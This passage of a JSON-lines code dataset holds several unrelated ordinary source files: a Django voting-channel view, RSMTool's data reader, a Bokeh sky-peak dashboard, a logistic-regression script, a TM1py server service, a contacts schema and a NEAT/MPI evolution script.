self.auth_backend.auth_by_header(token)\n\n if not user.boec:\n return self._disconnect()\n response = {\"result\": {\"user\": str(user.boec.id)}}\n return JsonResponse(response)\n\n def publish(self, request):\n response = {\"result\": {}}\n\n return JsonResponse(response)\n\n def subscribe(self, request):\n response = {\"result\": {}}\n\n channel = request.data.get(\"channel\", None)\n user = request.data.get(\"user\", None)\n if channel:\n if \"@\" in channel:\n (prefix, boec_id) = channel.split(\"@\")\n\n if boec_id != user:\n return self._disconnect()\n\n if \"personal:voting-\" in prefix:\n voting_id = prefix.replace(\"personal:voting-\", \"\")\n return JsonResponse(\n {\n \"result\": {\n \"data\": {\n \"type\": \"voted_brigades\",\n \"data\": camelize(\n get_current_question_answers(\n voting_id,\n boec_id,\n )\n ),\n }\n }\n }\n )\n\n if \"public:voting-\" in channel:\n voting_id = channel.replace(\"public:voting-\", \"\")\n return JsonResponse(\n {\n \"result\": {\n \"data\": {\n \"type\": \"current_question\",\n \"data\": camelize(get_current_question(voting_id)),\n }\n }\n }\n )\n if \"public:presentation-voting-\" in channel:\n voting_id = channel.replace(\"public:presentation-voting-\", \"\")\n return JsonResponse(\n {\n \"result\": {\n \"data\": {\n \"type\": \"current_question\",\n \"data\": camelize(\n get_current_question(voting_id, None, True)\n ),\n }\n }\n }\n )\n\n return JsonResponse(response)\n","sub_path":"app/connector/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"492569451","text":"\"\"\"\nClasses for reading data files (or dictionaries)\nand converting them to DataContainer objects.\n\n:author: Jeremy Biggs (jbiggs@ets.org)\n:author: Anastassia Loukina (aloukina@ets.org)\n:author: Nitin Madnani (nmadnani@ets.org)\n\n:organization: ETS\n\"\"\"\n\nimport warnings\n\nfrom functools import partial\nfrom os.path import (abspath,\n exists,\n join,\n splitext)\n\nimport pandas as pd\n\n# allow older versions of pandas to work\ntry:\n from pandas.io.common import DtypeWarning\nexcept ImportError:\n from pandas.errors import DtypeWarning\n\nfrom .container import DataContainer\n\n\ndef read_jsonlines(filename, converters=None):\n \"\"\"\n Read jsonlines from a file.\n Normalize nested jsons with up to one level of nesting\n\n Parameters\n ----------\n filename: str\n Name of file to read\n converters : dict or None, optional\n A dictionary specifying how the types of the columns\n in the file should be converted. Specified in the same\n format as for `pd.read_csv() `_.\n\n Returns\n -------\n df : pandas DataFrame\n Data frame containing the data in the given file.\n \"\"\"\n\n try:\n df = pd.read_json(filename,\n orient='records',\n lines=True,\n dtype=converters)\n except ValueError:\n raise ValueError(\"The jsonlines file is not formatted correctly. \"\n \"Please check that each line ends with a comma, \"\n \"there is no comma at the end of the last line, \"\n \"and that all quotes match.\")\n\n # make sure we didn't get a plain json\n if type(df.columns) == pd.RangeIndex:\n raise ValueError(\"It looks like {} is a simple json file. \"\n \"Please check documentation (for the expected \"\n \"file format\".format(filename))\n\n dfs = []\n for column in df:\n try:\n df_column = pd.json_normalize(df[column])\n except AttributeError:\n df_column = df[column].copy()\n\n dfs.append(df_column)\n\n df = pd.concat(dfs, axis=1)\n\n return df\n\n\ndef try_to_load_file(filename,\n converters=None,\n raise_error=False,\n raise_warning=False,\n **kwargs):\n \"\"\"\n A helper function for reading a single\n file, if it exists. Optionally raise an\n error or warning if the file cannot be found.\n Otherwise, simply return None.\n\n Parameters\n ----------\n filename : str\n Name of file to read.\n converters : dict or None, optional\n A dictionary specifying how the types of the columns\n in the file should be converted. Specified in the same\n format as for `pd.read_csv() `_.\n raise_error : bool, optional\n Raise an error if the file cannot be located.\n Defaults to False.\n raise_warning : bool, optional\n Raise a warning if the file cannot be located\n Defaults to False.\n\n Returns\n -------\n df : pd.DataFrame or None\n DataFrame containing the data in the given file,\n or None if the file does not exist\n\n Raises\n ------\n FileNotFoundError\n If `raise_error` is True and file cannot be located.\n \"\"\"\n if exists(filename):\n return DataReader.read_from_file(filename, converters, **kwargs)\n\n message = 'The file `{}` could not be located.'.format(filename)\n if raise_error:\n raise FileNotFoundError(message)\n\n if raise_warning:\n warnings.warn(message)\n\n\nclass DataReader:\n \"\"\"\n A DataReader class to generate\n DataContainer objects\n \"\"\"\n\n def __init__(self,\n filepaths,\n framenames,\n file_converters=None):\n \"\"\"\n Initialize DataReader object.\n\n Parameters\n ----------\n filepaths : list of str\n A list of paths to files that will be read into pd.DataFrames.\n filenames : list of str\n A list of names for the pd.DataFrames.\n file_converters : dict of dicts, optional\n A dictionary of file converter dicts.\n Defaults to None\n\n Raises\n ------\n AssertionError\n If length of filepaths is not equal to length of framenames.\n ValueError\n If any elements in file_converters are not dict.\n NameError\n If file converter name does not exist in the dataset.\n ValueError\n If filepath for a given file is None\n \"\"\"\n\n # Default datasets list\n self.datasets = []\n\n # Make sure filepaths length matches frame names length\n assert len(filepaths) == len(framenames)\n\n # Make sure that there are no Nones in the filepaths\n if None in filepaths:\n frames_with_no_path = [framenames[i] for i in range(len(framenames))\n if filepaths[i] is None]\n\n raise ValueError(\"No path specified for \"\n \"{}\".format(' ,'.join(frames_with_no_path)))\n\n # Assign names and paths lists\n self.dataset_names = framenames\n self.dataset_paths = filepaths\n\n # If file_converters exists, then\n # check to make sure it is the correct length\n # and add all elements to file_converters list\n if file_converters is not None:\n\n # assert len(filepaths) == len(file_converters)\n\n if not isinstance(file_converters, dict):\n raise ValueError('The `file_converters` argument must be type ``dict``, '\n 'not ``{}``.'.format(type(file_converters)))\n\n for file_converter_name in file_converters:\n\n # Make sure file_converter name is in `dataset_names`\n if file_converter_name not in self.dataset_names:\n raise NameError('The file converter name ``{}`` '\n 'does not exist in the '\n 'dataset names that you '\n 'passed.'.format(file_converter_name))\n\n # Make sure file converter is a `dict`\n file_converter = file_converters[file_converter_name]\n if not isinstance(file_converter, dict):\n raise ValueError('Value for {} must be``dict`` ',\n 'not {}'.format(file_converter_name,\n type(file_converter)))\n\n # Default file_converters dict\n self.file_converters = {} if file_converters is None else file_converters\n\n @staticmethod\n def read_from_file(filename, converters=None, **kwargs):\n \"\"\"\n Read a CSV/TSV/XLS/XLSX/JSONLINES/SAS7BDAT file and return a data frame.\n\n Parameters\n ----------\n filename : str\n Name of file to read.\n converters : None, optional\n A dictionary specifying how the types of the columns\n in the file should be converted. Specified in the same\n format as for `pd.read_csv() `_.\n\n Returns\n -------\n df : pandas DataFrame\n Data frame containing the data in the given file.\n\n Raises\n ------\n ValueError\n If the file has an extension that we do not support\n pandas.errors.ParserError\n If the file is badly formatted or corrupt.\n\n Note\n ----\n Keyword arguments are passed to the given `pandas`\n IO reader function.\n \"\"\"\n\n file_extension = splitext(filename)[1].lower()\n\n if file_extension in ['.csv', '.tsv']:\n sep = '\\t' if file_extension == '.tsv' else ','\n do_read = partial(pd.read_csv, sep=sep, converters=converters)\n elif file_extension in ['.xls', '.xlsx']:\n do_read = partial(pd.read_excel, converters=converters)\n elif file_extension in ['.sas7bdat']:\n if 'encoding' not in kwargs:\n encoding = 'latin-1'\n else:\n encoding = kwargs.pop('encoding')\n do_read = partial(pd.read_sas, encoding=encoding)\n elif file_extension in ['.jsonlines']:\n do_read = partial(read_jsonlines, converters=converters)\n else:\n raise ValueError(\"RSMTool only supports files in .csv, \"\n \".tsv, .xls/.xlsx, or .sas7bdat format. \"\n \"The file should have the extension \"\n \"which matches its format. The file you \"\n \"passed is: {}.\".format(filename))\n\n # ignore warnings about mixed data types for large files\n with warnings.catch_warnings():\n warnings.filterwarnings('ignore', category=DtypeWarning)\n try:\n df = do_read(filename, **kwargs)\n except pd.errors.ParserError:\n raise pd.errors.ParserError('Cannot read {}. Please check that it is '\n 'not corrupt or in an incompatible format. '\n '(Try running dos2unix?)'.format(filename))\n return df\n\n @staticmethod\n def locate_files(filepaths, configdir):\n \"\"\"\n Try to locate an experiment file, or a list of experiment files.\n If the given path doesn't exist, then maybe the path is relative\n to the path of the config file. If neither exists, then return None.\n\n Parameters\n ----------\n filepath_or_paths : str or list\n Name of the experiment file we want to locate.\n configdir : str\n Path to the reference configuration directory\n (usually the directory of the config file)\n\n Returns\n --------\n retval : str or list\n Absolute path to the experiment file or None\n if the file could not be located. If the `filepaths` argument\n was a string, this method will return a string. Otherwise, it will\n return a list.\n\n Raises\n ------\n ValueError\n If filepaths is not a string or list.\n \"\"\"\n\n # the feature config file can be in the 'feature' directory\n # at the same level as the main config file\n\n if not (isinstance(filepaths, str) or\n isinstance(filepaths, list)):\n\n raise ValueError('The `filepaths` argument must be a '\n 'string or list, not {}.'.format(type(filepaths)))\n\n if isinstance(filepaths, str):\n filepaths = [filepaths]\n return_string = True\n else:\n return_string = False\n\n located_paths = []\n for filepath in filepaths:\n\n retval = None\n alternate_path = abspath(join(configdir, filepath))\n\n # if the given path exists as is, convert\n # that to an absolute path and return\n if exists(filepath):\n retval = abspath(filepath)\n\n # otherwise check if it exists relative\n # to the reference directory\n elif exists(alternate_path):\n retval = alternate_path\n\n located_paths.append(retval)\n\n if return_string:\n return located_paths[0]\n\n return located_paths\n\n def read(self,\n kwargs_dict=None):\n \"\"\"\n Read all files passed to the constructor.\n\n\n Parameters\n ----------\n kwargs_dict : dict of dicts, optional\n Any additional keyword arguments to pass to a particular DataFrame.\n These arguments will be passed to the `pandas` IO reader function.\n Defaults to None.\n\n Returns\n -------\n datacontainer : DataContainer\n A DataContainer object.\n \"\"\"\n\n for idx, set_path in enumerate(self.dataset_paths):\n\n name = self.dataset_names[idx]\n converter = self.file_converters.get(name, None)\n\n if not exists(set_path):\n raise FileNotFoundError('The file {} does not exist'.format(set_path))\n\n if kwargs_dict is not None:\n kwargs = kwargs_dict.get(name, {})\n else:\n kwargs = {}\n\n dataframe = self.read_from_file(set_path, converter, **kwargs)\n\n # Add to list of datasets\n self.datasets.append({'name': name.strip(),\n 'path': set_path,\n 'frame': dataframe})\n\n return DataContainer(self.datasets)\n","sub_path":"rsmtool/reader.py","file_name":"reader.py","file_ext":"py","file_size_in_byte":12980,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"90857295","text":"import random, os, sys, inspect\n#sys.path.append (os.path.dirname(os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))))\nfrom Library import GRCGraphics as GRC\n\ndef main():\n\n # define size of graphics windows\n windowWidth = 300\n windowHeight = 300\n\n\n # Define the graphics window.\n gWindow = GRC.GraphicsWindow(\"Title of window: Box\", windowWidth, windowHeight)\n\n # set boarder Color of box\n Color = \"Black\"\n\n #define a polygon as a box\n polygon = GRC.Polygon(GRC.Point(10, 10), GRC.Point(125, 10), GRC.Point(125,125), GRC.Point(10,125))\n\n #display box object on graphics windows\n polygon.draw(gWindow)\n\n #click to close window\n gWindow.waitForClick()\n\n\n# call main function\nmain()\n","sub_path":"GRC1/Library/Examples/Box.py","file_name":"Box.py","file_ext":"py","file_size_in_byte":742,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"515400199","text":"import sys\n\nfrom bokeh.plotting import Figure\nfrom bokeh.layouts import row, column, widgetbox, gridplot\n\nfrom bokeh.io import curdoc\nfrom bokeh.io import output_notebook, show, output_file\n\nfrom bokeh.models import HoverTool, ColumnDataSource\nfrom bokeh.models import (LinearColorMapper , ColorBar)\nfrom bokeh.models import TapTool, OpenURL\nfrom bokeh.models.widgets import Select\nfrom bokeh.models.widgets import PreText, Div\nfrom bokeh.models import PrintfTickFormatter\nfrom dashboard.bokeh.helper import write_info, get_scalar_metrics\n\n\nfrom bokeh.palettes import (RdYlBu, Colorblind, Viridis256)\n\nfrom bokeh.io import output_notebook\nimport numpy as np\n\nfrom dashboard.bokeh.helper import get_url_args, write_description\n\nimport numpy as np\nimport logging\n\nlogger = logging.getLogger(__name__)\n\n# =============================================\n# THIS comes from INTERFACE\n#\nargs = get_url_args(curdoc)\n\ntry:\n selected_process_id = args['process_id']\n selected_arm = args['arm']\n selected_spectrograph = args['spectrograph']\nexcept:\n sys.exit('Invalid args')\n\n# ============================================\n# THIS READ yaml files\n#\n\ncam = selected_arm+str(selected_spectrograph)\ntry:\n lm = get_scalar_metrics(selected_process_id, cam)\n metrics, tests = lm['results']['metrics'], lm['results']['tests']\nexcept:\n sys.exit('Could not load metrics')\n\nskypeak = metrics['skypeak']\n\n\n# ============================================\n# values to plot:\nname = 'PEAKCOUNT'\nmetr = skypeak\n\n# ============================================\n# THIS: Given the set up in the block above, \n# we have the bokeh plots\n\ndef palette(name_of_mpl_palette):\n \"\"\" Transforms a matplotlib palettes into a bokeh \n palettes\n \"\"\"\n from matplotlib.colors import rgb2hex\n import matplotlib.cm as cm\n colormap =cm.get_cmap(name_of_mpl_palette) #choose any matplotlib colormap here\n bokehpalette = [rgb2hex(m) for m in colormap(np.arange(colormap.N))]\n return bokehpalette\n\nmy_palette = palette(\"viridis\")\n\npeak_tooltip = \"\"\"\n
    \n
    \n PEAKCOUNT: \n @peakcount\n
    \n
    \n RA: \n @x1\n
    \n
    \n DEC: \n @y1\n
    \n
    \n\"\"\"\nurl = \"http://legacysurvey.org/viewer?ra=@ra&dec=@dec&zoom=16&layer=decals-dr5\"\n\nc1,c2 = int(selected_spectrograph)*500, (int(selected_spectrograph)+1)*500\nqlf_fiberid = np.arange(0,5000)[c1:c2] \n\n\npeak_hover = HoverTool(tooltips=peak_tooltip)\n\npeakcount = metr['PEAKCOUNT']\n\nsource = ColumnDataSource(data={\n 'x1' : metr['RA'][c1:c2],\n 'y1' : metr['DEC'][c1:c2],\n 'peakcount' : peakcount,\n 'QLF_FIBERID': qlf_fiberid,\n})\n\n\n## axes limit\n## left, right = min(skypeak['RA'][c1:c2]), max(skypeak['RA'][c1:c2])\n## bottom, top = min(skypeak['RA'][c1:c2]), max(skypeak['RA'][c1:c2])#13, 16.7\n\nmapper = LinearColorMapper(palette= my_palette,\n low=0.98*np.min(peakcount), \n high=1.02*np.max(peakcount))\n\n\n\nradius = 0.016\n# ======\n# XSIGMA\np = Figure( title = 'SKYPEAK', x_axis_label='RA', y_axis_label='DEC'\n , plot_width=770, plot_height=700\n ## , x_range=Range1d(left, right), y_range=Range1d(bottom, top)\n , tools= [peak_hover, \"pan,box_zoom,reset,crosshair, tap\"])\n\n# Color Map\np.circle('x1','y1', source = source, name=\"data\", radius = radius,\n fill_color={'field': 'peakcount', 'transform': mapper}, \n line_color='black', line_width=0.1,\n hover_line_color='red')\n\n# marking the Hover point\np.circle('x1','y1', source = source, name=\"data\", radius = 0.0186\n , hover_fill_color={'field': 'peakcount', 'transform': mapper}\n , fill_color=None, line_color=None\n , line_width=3, hover_line_color='red')\n\ntaptool = p.select(type=TapTool)\ntaptool.callback = OpenURL(url=url)\n\n## px.circle('x1','y1', source = source_comp, radius = 0.015,\n## fill_color = 'lightgray', line_color='black', line_width=0.3)\n\n# bokeh.pydata.org/en/latest/docs/reference/models/annotations.html\nxcolor_bar = ColorBar(color_mapper= mapper, label_standoff=-13,\n major_label_text_font_style=\"bold\", padding = 26,\n major_label_text_align='right',\n major_label_text_font_size=\"10pt\",\n location=(0, 0))\n\np.add_layout(xcolor_bar, 'left')\n\n#infos\ninfo, nlines = write_info('skypeak', tests['skypeak'])\ntxt = PreText(text=info, height=nlines*20, width=p.plot_width)\ninfo_col=Div(text=write_description('skypeak'), width=p.plot_width)\np2txt = column(widgetbox(info_col),p)\n\n\nlayout = gridplot([[p2txt]]) \n\n\n# End of Bokeh Block\ncurdoc().add_root(layout)\ncurdoc().title= \"SKYPEAK\"\n","sub_path":"backend/framework/qlf/dashboard/bokeh/qaskypeak/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5138,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"310553462","text":"# -*- coding:UTF-8 -*-\nimport numpy as np\n\n\"\"\"\n函数说明:加载数据\n\nParameters:\n 无\nReturns:\n dataMat - 数据列表\n labelMat - 标签列表\nAuthor:\n Jack Cui\nBlog:\n http://blog.csdn.net/c406495762\nZhihu:\n https://www.zhihu.com/people/Jack--Cui/\nModify:\n 2017-08-28\n\"\"\"\ndef loadDataSet():\n dataMat = [] #创建数据列表\n labelMat = [] #创建标签列表\n fr = open(r'C:\\Users\\Administrator\\Desktop\\ex1.txt') #打开文件\n for line in fr.readlines(): #逐行读取\n lineArr = line.strip().split() #去回车,放入列表\n dataMat.append([1.0, float(lineArr[0]), float(lineArr[1])]) #添加数据\n labelMat.append(int(lineArr[2])) #添加标签\n fr.close() #关闭文件\n return dataMat, labelMat #返回\n\n\"\"\"\n函数说明:sigmoid函数\n\nParameters:\n inX - 数据\nReturns:\n sigmoid函数\nAuthor:\n Jack Cui\nBlog:\n http://blog.csdn.net/c406495762\nZhihu:\n https://www.zhihu.com/people/Jack--Cui/\nModify:\n 2017-08-28\n\"\"\"\ndef sigmoid(inX):\n return 1.0 / (1 + np.exp(-inX))\n\n\n\"\"\"\n函数说明:梯度上升算法\n\nParameters:\n dataMatIn - 数据集\n classLabels - 数据标签\nReturns:\n weights.getA() - 求得的权重数组(最优参数)\nAuthor:\n Jack Cui\nBlog:\n http://blog.csdn.net/c406495762\nZhihu:\n https://www.zhihu.com/people/Jack--Cui/\nModify:\n 2017-08-28\n\"\"\"\ndef gradAscent(dataMatIn, classLabels):\n dataMatrix = np.mat(dataMatIn) #转换成numpy的mat\n labelMat = np.mat(classLabels).transpose() #转换成numpy的mat,并进行转置\n m, n = np.shape(dataMatrix) #返回dataMatrix的大小。m为行数,n为列数。\n alpha = 0.001 #移动步长,也就是学习速率,控制更新的幅度。\n maxCycles = 500 #最大迭代次数\n weights = np.ones((n,1))\n for k in range(maxCycles):\n h = sigmoid(dataMatrix * weights) #梯度上升矢量化公式\n error = labelMat - h\n weights = weights + alpha * dataMatrix.transpose() * error\n return weights.getA() #将矩阵转换为数组,返回权重数组\n\nif __name__ == '__main__':\n dataMat, labelMat = loadDataSet()\n print(gradAscent(dataMat, labelMat))\n","sub_path":"2021-3-1/训练算法.py","file_name":"训练算法.py","file_ext":"py","file_size_in_byte":2839,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"173084239","text":"#!/usr/bin/env python3\nimport operator, re, sys\nfrom functools import reduce\ndef f(a,x):\n # NB: currently ignores fractions of seconds\n mo = re.search(r\"(([0-9]{2}:){1,2}([0-9]{2}))(\\.[0-9]{2})?\", x)\n hms = tuple(map(int, mo.group(1).split(\":\")))\n hms_ = hms if len(hms) == 3 else tuple([0] + list(hms))\n h,m,s = map(operator.add, a, hms_); m_ = m+s//60\n return (h+m_//60,m_%60,s%60)\nh,m,s = reduce(f, sys.stdin, (0,0,0))\nprint(\"{:02d}:{:02d}:{:02d}\".format(h,m,s))\n","sub_path":"dockerized-gists/cc16d2a331f105f3928cc6a959ecd854/snippet.py","file_name":"snippet.py","file_ext":"py","file_size_in_byte":478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"271894240","text":"# -*- coding: utf-8 -*-\n\nimport json\n\n\nfrom TM1py.Services.ObjectService import ObjectService\n\n\nclass ServerService(ObjectService):\n \"\"\" Service to query common information from the TM1 Server\n \n \"\"\"\n def __init__(self, rest):\n super().__init__(rest)\n\n def get_message_log_entries(self, reverse=True, top=None):\n reverse = 'true' if reverse else 'false'\n request = '/api/v1/MessageLog(Reverse={})'.format(reverse)\n if top:\n request += '?$top={}'.format(top)\n response = self._rest.GET(request, '')\n return json.loads(response)['value']\n\n def get_transaction_log_entries(self, reverse=True, user=None, cube=None, since=None, top=None):\n \"\"\"\n \n :param reverse: \n :param user: \n :param cube: \n :param since: of type datetime\n :param top: \n :return: \n \"\"\"\n reverse = 'desc' if reverse else 'asc'\n request = '/api/v1/TransactionLogEntries?$orderby=TimeStamp {} '.format(reverse)\n # filter on user and cube\n if user or cube or since:\n log_filters = []\n if user:\n log_filters.append(\"User eq '{}'\".format(user))\n if cube:\n log_filters.append(\"Cube eq '{}'\".format(cube))\n if since:\n log_filters.append(\"TimeStamp ge datetimeoffset'{}'\".format(since.isoformat()))\n request += \"&$filter={}\".format(\" and \".join(log_filters))\n # top limit\n if top:\n request += '&$top={}'.format(top)\n response = self._rest.GET(request, '')\n return json.loads(response)['value']\n\n def get_last_process_message_from_messagelog(self, process_name):\n \"\"\" Get the latest messagelog entry for a process\n\n :param process_name: name of the process\n :return: String - the message, for instance: \"Ausführung normal beendet, verstrichene Zeit 0.03 Sekunden\"\n \"\"\"\n request = \"/api/v1/MessageLog()?$orderby='TimeStamp'&$filter=Logger eq 'TM1.Process' \" \\\n \"and contains( Message, '\" + process_name + \"')\"\n response = self._rest.GET(request=request)\n response_as_list = json.loads(response)['value']\n if len(response_as_list) > 0:\n message_log_entry = response_as_list[0]\n return message_log_entry['Message']\n\n def get_server_name(self):\n \"\"\" Ask TM1 Server for its name\n\n :Returns:\n String, the server name\n \"\"\"\n request = '/api/v1/Configuration/ServerName/$value'\n return self._rest.GET(request, '')\n\n def get_product_version(self):\n \"\"\" Ask TM1 Server for its version\n\n :Returns:\n String, the version\n \"\"\"\n request = '/api/v1/Configuration/ProductVersion/$value'\n return self._rest.GET(request, '')\n","sub_path":"TM1py/Services/ServerService.py","file_name":"ServerService.py","file_ext":"py","file_size_in_byte":2868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"516191832","text":"db=DB()\ndb(\"Contactos\").campo(\"Titulo\",db.str)\ndb(\"Contactos\").campo(\"Contenido\",db.list)\ndb(\"Contactos\").campo(\"args\",db.dict)\ndb(\"Contactos\").campo(\"Fecha\",db.str)\ndb(\"Contactos\").campo(\"Status\",db.list)\n#===========================================\ndb(\"Conversaciones\").campo(\"Titulo\",db.str)\ndb(\"Conversaciones\").campo(\"Contenido\",db.list)\ndb(\"Conversaciones\").campo(\"args\",db.dict)\ndb(\"Conversaciones\").campo(\"Fecha\",db.str)\ndb(\"Conversaciones\").campo(\"Status\",db.list)\n#===========================================\ndb(\"Contactos\").insertar(\"Jesus Zerpa\",\n [ \n {\"Nombre\":\"text\",\"value\":\"Jesus Zerpa\",\"name\":\"nombre\"},\n {\"Email\":\"email\",\"value\":\"jesus26abraham1996@gmail.com\",\"name\":\"email\"},\n {\"Avatar\":\"select-image-admin\",\"value\":0,\"opcion\":1,\"name\":\"avatar\"},\n {\"Telefono\":\"phone\",\"value\":\"04261415102\",\"name\":\"phone\"},\n {\"Activo\":\"bool\",\"opcion\":3,\"name\":\"activo\",\"value\":0},\n {\"Tipo\":\"select-admin\",\"opcion\":6,\"name\":\"tipo\",\"value\":0}, #local,global \n {\"Sitio web\":\"url\",\"value\":\"zerpatechnology.com.ve\",\"name\":\"web\"}, #en caso de ser global se conectara al dominio\n {\"Contraseña\":\"password\",\"value\":\"123456\",\"name\":\"password\"},#si es global\n {\"Puerto\":\"number\",\"value\":8000,\"name\":\"puerto\"},#de ser global se conectara por el puerto 80 por defecto\n ],\n {\"Contacto\":0},\n zu.DateTime(),\n []\n )\ndb(\"Conversaciones\").insertar(\"Usuario1 - Usuario2\",\n [\n [{\"Conversación\":\"titulo\",\"value\":\"Mes - fecha - hora\"},\n {\"Mensaje\":\"msj\",\"value\":\"hola como estas?\"},\n {\"Mensaje\":\"msj\",\"value\":\"bien y tu?\"},\n ]\n ],\n {\"Conversacion\":0},\n zu.DateTime(),\n []\n )\n\n\n\n","sub_path":"admin/modelos/conversaciones_struct.py","file_name":"conversaciones_struct.py","file_ext":"py","file_size_in_byte":1629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"270346518","text":"import os\nimport sys\nimport time\nimport math\nimport argparse\nimport subprocess\nimport numpy as np\nnp.set_printoptions(precision=2, linewidth=160) \n\n# MPI\nfrom mpi4py import MPI\ncomm = MPI.COMM_WORLD\nrank = comm.Get_rank()\n\n# prettyNeat\nfrom neat_src import * # NEAT\nfrom domain import * # Task environments\n\n# -- My copypaste from elsewhere of code for saving stuff -------------------\n\ndef savePop(pop, directory, generation):\n \"\"\"Save all individuals in population as numpy arrays\n \"\"\"\n os.makedirs(directory, exist_ok=True)\n\n for i in range(len(pop)):\n filename = os.path.join(directory, \"gen_{}_pop_{}\".format(generation, i))\n np.savez(filename, wMat=pop[i].wMat, aVec=pop[i].aVec)\n\n# -- Run NEAT ------------------------------------------------------------ -- #\ndef master(): \n \"\"\"Main NEAT optimization script\n \"\"\"\n global fileName, hyp\n data = DataGatherer(fileName, hyp)\n neat = Neat(hyp)\n\n for gen in range(hyp['maxGen']): \n pop = neat.ask() # Get newly evolved individuals from NEAT\n savePop(pop, fileName, gen) \n reward = batchMpiEval(pop) # Send pop to be evaluated by workers\n neat.tell(reward) # Send fitness to NEAT \n\n data = gatherData(data,neat,gen,hyp)\n print(gen, '\\t - \\t', data.display())\n savePop(pop, fileName, hyp[\"maxGen\"])\n # Original ending code\n # Clean up and data gathering at run end\n #data = gatherData(data,neat,gen,hyp,savePop=True)\n #data.save()\n #data.savePop(neat.pop,fileName) # Save population as 2D numpy arrays\n stopAllWorkers()\n\ndef gatherData(data,neat,gen,hyp,savePop=False):\n \"\"\"Collects run data, saves it to disk, and exports pickled population\n\n Args:\n data - (DataGatherer) - collected run data\n neat - (Neat) - neat algorithm container\n .pop - [Ind] - list of individuals in population \n .species - (Species) - current species\n gen - (ind) - current generation\n hyp - (dict) - algorithm hyperparameters\n savePop - (bool) - save current population to disk?\n\n Return:\n data - (DataGatherer) - updated run data\n \"\"\"\n data.gatherData(neat.pop, neat.species)\n if (gen%hyp['save_mod']) is 0:\n data = checkBest(data)\n # Do not save results\n #data.save(gen)\n\n if savePop is True: # Get a sample pop to play with in notebooks \n global fileName\n pref = 'log/' + fileName\n import pickle\n with open(pref+'_pop.obj', 'wb') as fp:\n pickle.dump(neat.pop,fp)\n\n return data\n\ndef checkBest(data):\n \"\"\"Checks better performing individual if it performs over many trials.\n Test a new 'best' individual with many different seeds to see if it really\n outperforms the current best.\n\n Args:\n data - (DataGatherer) - collected run data\n\n Return:\n data - (DataGatherer) - collected run data with best individual updated\n\n\n * This is a bit hacky, but is only for data gathering, and not optimization\n \"\"\"\n global filename, hyp\n if data.newBest is True:\n bestReps = max(hyp['bestReps'], (nWorker-1))\n rep = np.tile(data.best[-1], bestReps)\n fitVector = batchMpiEval(rep, sameSeedForEachIndividual=False)\n trueFit = np.mean(fitVector)\n if trueFit > data.best[-2].fitness: # Actually better! \n data.best[-1].fitness = trueFit\n data.fit_top[-1] = trueFit\n data.bestFitVec = fitVector\n else: # Just lucky!\n prev = hyp['save_mod']\n data.best[-prev:] = data.best[-prev]\n data.fit_top[-prev:] = data.fit_top[-prev]\n data.newBest = False\n return data\n\n\n# -- Parallelization ----------------------------------------------------- -- #\ndef batchMpiEval(pop, sameSeedForEachIndividual=True):\n \"\"\"Sends population to workers for evaluation one batch at a time.\n\n Args:\n pop - [Ind] - list of individuals\n .wMat - (np_array) - weight matrix of network\n [N X N] \n .aVec - (np_array) - activation function of each node\n [N X 1]\n\n Return:\n reward - (np_array) - fitness value of each individual\n [N X 1]\n\n Todo:\n * Asynchronous evaluation instead of batches\n \"\"\"\n global nWorker, hyp\n nSlave = nWorker-1\n nJobs = len(pop)\n nBatch= math.ceil(nJobs/nSlave) # First worker is master\n\n # Set same seed for each individual\n if sameSeedForEachIndividual is False:\n seed = np.random.randint(1000, size=nJobs)\n else:\n seed = np.random.randint(1000)\n\n reward = np.empty(nJobs, dtype=np.float64)\n i = 0 # Index of fitness we are filling\n for iBatch in range(nBatch): # Send one batch of individuals\n for iWork in range(nSlave): # (one to each worker if there)\n if i < nJobs:\n wVec = pop[i].wMat.flatten()\n n_wVec = np.shape(wVec)[0]\n aVec = pop[i].aVec.flatten()\n n_aVec = np.shape(aVec)[0]\n\n comm.send(n_wVec, dest=(iWork)+1, tag=1)\n comm.Send( wVec, dest=(iWork)+1, tag=2)\n comm.send(n_aVec, dest=(iWork)+1, tag=3)\n comm.Send( aVec, dest=(iWork)+1, tag=4)\n if sameSeedForEachIndividual is False:\n comm.send(seed.item(i), dest=(iWork)+1, tag=5)\n else:\n comm.send( seed, dest=(iWork)+1, tag=5) \n\n else: # message size of 0 is signal to shutdown workers\n n_wVec = 0\n comm.send(n_wVec, dest=(iWork)+1)\n i = i+1 \n \n # Get fitness values back for that batch\n i -= nSlave\n for iWork in range(1,nSlave+1):\n if i < nJobs:\n workResult = np.empty(1, dtype='d')\n comm.Recv(workResult, source=iWork)\n reward[i] = workResult\n i+=1\n return reward\n\ndef slave():\n \"\"\"Evaluation process: evaluates networks sent from master process. \n\n PseudoArgs (recieved from master):\n wVec - (np_array) - weight matrix as a flattened vector\n [1 X N**2]\n n_wVec - (int) - length of weight vector (N**2)\n aVec - (np_array) - activation function of each node \n [1 X N] - stored as ints, see applyAct in ann.py\n n_aVec - (int) - length of activation vector (N)\n seed - (int) - random seed (for consistency across workers)\n\n PseudoReturn (sent to master):\n result - (float) - fitness value of network\n \"\"\"\n global hyp \n task = GymTask(games[hyp['task']], nReps=hyp['alg_nReps'])\n\n # Evaluate any weight vectors sent this way\n while True:\n n_wVec = comm.recv(source=0, tag=1)# how long is the array that's coming?\n if n_wVec > 0:\n wVec = np.empty(n_wVec, dtype='d')# allocate space to receive weights\n comm.Recv(wVec, source=0, tag=2) # recieve weights\n\n n_aVec = comm.recv(source=0,tag=3)# how long is the array that's coming?\n aVec = np.empty(n_aVec, dtype='d')# allocate space to receive activation\n comm.Recv(aVec, source=0, tag=4) # recieve it\n seed = comm.recv(source=0, tag=5) # random seed as int\n\n result = task.getFitness(wVec, aVec) # process it\n comm.Send(result, dest=0) # send 